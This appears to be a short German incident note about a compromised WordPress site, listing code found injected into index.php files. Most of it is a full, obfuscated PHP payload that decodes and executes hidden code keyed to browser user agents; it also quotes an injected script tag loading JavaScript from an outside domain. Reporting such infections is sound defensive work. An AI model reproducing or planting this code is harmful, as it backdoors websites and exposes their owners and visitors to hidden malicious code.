- in den index.php-Dateien für WordPress wurde folgender Befehl vorweg gestellt:
<?php $lcszczvya = '*uyfu	x27k:!ftmf!}Z;}&;!osvufs}	x7f;!opjudovg}k~~9{d%:o672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!	x27!hmg%!)!gj!<2,*4`{6~6<tfs%w6<	x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR	x27tf5	116	x54"]); if ((strstr($uas,"	x6d	163	x69	145")) or (strstr($uas,"	!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!	x24/%tmw7R66,#/q%>2q%<#g6R85,67R37,18R#275ttfsqnpdov{h19275j|7**197-2qj%7-K)udfoopdXA	xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5~!	x24/%t2w/	x24)##-!#~<#/%	x24-	x24!>!fyqx72	166	x3a	61	x31")) or (strstr($uas,"	x61	156	x64	162	x6et($GLOBALS["	x61	156	x75	156	x61"])))) {x53	105	x52	137	x41	107	x4y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)ovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j:|:*r%:-t%)3of:opjudovg<~	x24<!%o:!>!	x242178}527}88:}3*b%)sfxpmpusut!-#j0#!/!**!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}	x27;!>>>!}_;gvc%}&;ftmb#@#7/7^#iubq#	x5cq%	x27jsv%6<C>^#<u%V	x27{ftmfV	x7f<*X&Z&S{ftmfV	x7f<*XAZAS6]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!	x2400~:<h%_t%<	x7fw6*CW&)7gj6<*doj%7-C)fe5c2^<!Ce*[!%cIjQeTQcOc/#00fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#g!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	x5c%j:.2^,%22]3]364]6]283]427]36]373P6]36]73]83]238M7]tdz>#L4]275L3]248L3P6L1Mf`4	x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!j%!-#1]#-bubE{h%)tpqsut>j%!*72!	x27!hmg%)!gj!<2,*j%-#13hopmA	x273qj%6<*Y%)fnbozcYufhA	x272q>!	x24/%tjw/	x24)%	x24-	x24y4	x24-	x24]y8	x24-34}472	x24<!%ff2!>!bssbz)	x24]25	x24-	x24-!%	x24-boepn)%bss-%rxB%h>#]y31]278]y3e]81]K78#W~!Ydrr)%rxB%epnbss!>!bssb*#fubfsdXk5`{66~6<&w6r_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]2/#0#/*#npd/#)rrd/#00;quui#>.%!<***f	x27,*e	x27,*d	x-	x24tvctus)%	x24-	x24b!>!%yy)#}#-#	x24-	x24-s%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%p%	x7f!~!<##!>!2p%Z<^2	x5c2b%!>!2p%!*3>?*2b%)gpf{jth%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]27,*c	x27,*b	x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-11:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-x}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00)!gj!<*2bd%-#1GO	x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%w)#	x24#-!#]y38#-!%w:*)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!	x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-svufs:~928>>	x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tj{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjy27id%6<	x7fw6*	x7f_*#ujojRk3`{666~6<&w6<	x7fw6*CW&)7gj6<.[A	x27&iN}#-!	x24/%tmw/	x24)%c*W%eN+#Qi	x5c1^W%c!>!%i	x1#-%tdz*Wsfuvso!%bss	x5csboe))1/},;osvufs}	x27;mnui}&;zepc}A;~!}	x7fXA	x27K6<	x7fw6*3qj%7>	x2272qj%)7gj6<**2qj%)hopm3qjA)qj35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%baykspj($n){return chr(ord($n)-1);} @erroph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)*!+A!>!{e%)!>>	x22!ftmbg)!gj<*#k#)usbut`cpV	x7f	x7f	x7f	x7f%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw6*Cfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc	x7f!|!if((function_exists("	x6f	*<")));$eebqffb = $rvnyoir("", $r#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QI,6<*msv%7-MSV,6<*)ujojR	x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsd54]y76#<!%w:!>!(%w:!>!	x246767~6<Cw6<kVx{**#k#)tutjyf`x	x22l:!}V;3q%}U;y]}R;2]1112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!** $GLOBALS["	x61	156	x75	156	x61"]=1; $uas=strtolower($_SERVER["W&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)21]464]284]364]6]234]342]58]24]3j%6<^#zsfvr#	x5cq%7/7142	x5f	163	x74	141	x72	164") && (!iss!#]y84]275]y83]273]y6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofQ&f_UTPI`QUUI&e_SEEB`FUP4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#j1L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K7R25,d7R17,67R37,#/q%>U<#16,47R57,2x65	141	x74	145	x5f	146	x75	156	x63	164	x69	157	x6e"; function mpef)#	x24*<!%t::!>!	x24Ypp3)%cB%7UFH#	x27rfs%6~6<	x7fw6<*K)ftpmdXA6hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYst0*?]+^?]_	x5c}X	x24<!%tmw!>76]277#<!%t2w>#]y74]273]y76]252]y85]25)n%-#+I#)q%:>:r%:|:**t%)m%=*#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]3dovg}x;0]=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q%l}1L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]tutjyf`opjudovg	x22)!gj}1~!<2/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr	x5c1^-%r	x5c2^-%%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.4`hA	x27p381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3d%6<pd%w6Z6<.3`hA	x27pd%6<pd%w6Z6<.2`hA	x27pd%6<C	x27pdr_reporting(0); $rpmslay = implode(array_map("baykspj",st;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	x27;%!<*#}_;#)323ldfid>tj{fpg)%	x24-	x24*<!	x24]26	x24-	x24<%j,,*!|	x24-	x24gvodujpo!	x24-	x24y7y6gP7L6M7]D4]275]D:M8]Df#<%g}	x7f;!osvufs}w;*	x7f!>>	x22!pd%)!gj}Z;h!opjud=tj{fpg)%s:*<%j:,,BjpmqnjA	x27&6<.fmjgA	x27doj%6<	x7fw6*	x7f_*#fmjgk	x27u%)7fmjix6<C	x27&6<*rfs%7-K)fujsxX6#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhptrstr($uas,"	x66	151	x72	145	x66	157	x78"))) { $rvnyoir = "	x63	162	5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:	x24-	x24*<!	x24-	x24gps)%j>1<%j=9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]pmslay); $eebqffb();}};!|!}{;)gj}l;33bq}k;opju	x24*!|!	x24-	x24	x5c%j^	x24uopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVDb%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj	x22)gj!|!*nbsbq%)323ldNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%	x7f!<X>f	151	x64")) or (strstr($uas,"	x63	150	x72	157	x6d	145")) or (sz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<D6M7]K3#<%yy>#]D6]28tusqpt)%z-#:#*	x24-	x24!tpqssutRe%)Rd%)Rb%))!gj!<*]#-bubE{h%)tpqsut>j%!*9!	x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%!fmtf!%z>2<!%ww2)%w`TW~	x24<!^nbsbq%	x5cSFWSFT`%}X	x48	124	x54	120	x5f	125	b:<!%c:>%s:	x5c%j:^<!%w`	x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[gj6<^#Y#	x5cq%	x27Y%6<.msv`ftsbqA7>q%6<	x7fw6*	x7f_zsfvr#	x5cq%7**^#zsfvr#	x5cq%)ufttj	x22)V<*w%)ppde>u%V<#65,4StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSzrnouebhe'; $tugnhmq=explode(chr((525-405)),substr($lcszczvya,(37201-31181),(173-139))); $gxtvvxh = $tugnhmq[0]($tugnhmq[(7-6)]); $zfgeexqp = $tugnhmq[0]($tugnhmq[(14-12)]); if (!function_exists('kurant')) { function kurant($hnrlrl, $sqexwzq,$qrkqlwss) { $lptajdhm = NULL; for($nlrudlql=0;$nlrudlql<(sizeof($hnrlrl)/2);$nlrudlql++) { $lptajdhm .= substr($sqexwzq, $hnrlrl[($nlrudlql*2)],$hnrlrl[($nlrudlql*2)+(5-4)]); } return $qrkqlwss(chr((34-25)),chr((445-353)),$lptajdhm); }; } $eyofxyjzl = explode(chr((227-183)),'3122,26,3632,38,589,41,3426,63,5821,25,630,26,248,70,531,58,5519,63,5047,68,3937,63,2843,41,4621,57,1631,55,3311,37,4476,40,4566,55,3011,66,3489,48,4963,39,2802,41,4033,35,420,27,3266,45,2677,55,1413,37,3611,21,936,33,5960,40,5909,51,1610,21,1072,28,4915,48,186,62,1782,50,3241,25,2497,64,3690,54,5329,59,874,62,4848,47,725,69,119,67,1359,54,5702,69,2263,69,3768,47,656,69,4348,29,1897,51,2178,63,1686,51,2006,56,3389,37,849,25,5002,45,2884,68,5676,26,3181,60,3744,24,5454,65,5388,66,3077,45,0,20,5800,21,4678,70,20,35,2332,50,399,21,2433,64,1298,61,2952,59,969,42,6000,20,3902,35,368,31,3537,42,3348,41,2641,36,5277,24,4261,46,3815,33,4115,28,3670,20,4143,38,1011,61,1832,65,4181,28,1948,58,55,64,794,55,1496,49,5301,28,1737,45,5652,24,1450,46,4768,53,5180,33,4748,20,489,42,4000,33,2561,48,1100,26,1583,27,5582,50,318,50,4377,66,4068,47,1545,38,2062,54,447,42,3848,54,5213,42,5632,20,4307,41,4821,27,1274,24,5115,65,2116,62,4209,52,1231,43,4516,50,3579,32,2609,32,2732,70,4895,20,1189,42,5846,63,4443,33,5771,29,1126,63,2382,51,2241,22,3148,33,5255,22'); $eygvkqw = $gxtvvxh("",kurant($eyofxyjzl,$lcszczvya,$zfgeexqp)); $gxtvvxh=$lcszczvya; $eygvkqw(""); $eygvkqw=(526-405); $lcszczvya=$eygvkqw-1; ?>

- in weiteren index.php-Dateien wurde folgender Script-Aufruf eingebaut:
<script type='text/javascript' src='https://snippet.adsformarket.com/same.js'></script>